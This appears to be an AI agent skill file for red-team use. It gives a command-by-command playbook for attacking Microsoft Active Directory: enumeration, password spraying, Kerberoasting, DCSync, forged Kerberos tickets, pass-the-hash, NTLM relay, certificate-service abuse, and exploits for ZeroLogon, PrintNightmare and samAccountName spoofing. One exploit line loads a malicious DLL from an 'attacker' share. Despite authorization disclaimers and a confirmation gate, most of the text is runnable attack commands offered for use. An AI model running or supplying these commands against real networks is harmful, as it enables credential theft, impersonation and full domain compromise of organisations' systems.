name: active-directory-attacks
description: "Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing."
risk: offensive
source: community
author: zebbern
date_added: "2026-02-27"
⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
Active Directory Attacks
Purpose
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
Inputs/Prerequisites
- Kali Linux or Windows attack platform
- Domain user credentials (for most attacks)
- Network access to Domain Controller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
Outputs/Deliverables
- Domain enumeration data
- Extracted credentials and hashes
- Kerberos tickets for impersonation
- Domain Administrator access
- Persistent access mechanisms
Essential Tools
| Tool | Purpose |
|---|
| BloodHound | AD attack path visualization |
| Impacket | Python AD attack tools |
| Mimikatz | Credential extraction |
| Rubeus | Kerberos attacks |
| CrackMapExec | Network exploitation |
| PowerView | AD enumeration |
| Responder | LLMNR/NBT-NS poisoning |
Core Workflow
Step 1: Kerberos Clock Sync
Kerberos requires clock synchronization (±5 minutes):
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"
# Fix clock on Windows
net time /domain /set
# Fake clock without changing system time
faketime -f '+8h' <command>
Step 2: AD Reconnaissance with BloodHound
# Start BloodHound
neo4j console
bloodhound --no-sandbox
# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
Step 3: PowerView Enumeration
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Find local admin access
Find-LocalAdminAccess -Verbose
# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
Credential Attacks
Password Spraying
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting
Extract service account TGS tickets and crack offline:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
Target accounts with "Do not require Kerberos preauthentication":
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
DCSync Attack
Extract credentials directly from DC (requires Replicating Directory Changes rights):
# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
Kerberos Ticket Attacks
Pass-the-Ticket (Golden Ticket)
Forge TGT with krbtgt hash for any user:
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
Silver Ticket
Forge TGS for specific service:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
Pass-the-Hash
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
OverPass-the-Hash
Convert NTLM hash to Kerberos ticket:
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
NTLM Relay Attacks
Responder + ntlmrelayx
# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf
# Start relay
ntlmrelayx.py -tf targets.txt -smb2support
# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
SMB Signing Check
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
Certificate Services Attacks (AD CS)
ESC1 - Misconfigured Templates
# Find vulnerable templates
certipy find -u [email protected] -p password -dc-ip 10.10.10.10
# Exploit ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 - Web Enrollment Relay
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Critical CVEs
ZeroLogon (CVE-2020-1472)
# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# Extract hashes
secretsdump.py -just-dc domain.local/DC01\[email protected] -no-pass
# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
PrintNightmare (CVE-2021-1675)
# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'
samAccountName Spoofing (CVE-2021-42278/42287)
# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
Quick Reference
| Attack | Tool | Command |
|---|
| Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request |
| AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |
| Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH |
| Golden Ticket | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
| Spray | kerbrute | kerbrute passwordspray -d domain users.txt Pass |
Constraints
Must:
- Synchronize time with DC before Kerberos attacks
- Have valid domain credentials for most attacks
- Document all compromised accounts
Must Not:
- Lock out accounts with excessive password spraying
- Modify production AD objects without approval
- Leave Golden Tickets without documentation
Should:
- Run BloodHound for attack path discovery
- Check for SMB signing before relay attacks
- Verify patch levels for CVE exploitation
Examples
Example 1: Domain Compromise via Kerberoasting
# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Use cracked service account
psexec.py domain.local/svc_admin:[email protected]
Example 2: NTLM Relay to LDAP
# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. Use created machine account for RBCD attack
Troubleshooting
| Issue | Solution |
|---|
| Clock skew too great | Sync time with DC or use faketime |
| Kerberoasting returns empty | No service accounts with SPNs |
| DCSync access denied | Need Replicating Directory Changes rights |
| NTLM relay fails | Check SMB signing, try LDAP target |
| BloodHound empty | Verify collector ran with correct creds |
Additional Resources
For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see references/advanced-attacks.md.
When to Use
This skill is applicable to execute the workflow or actions described in the overview.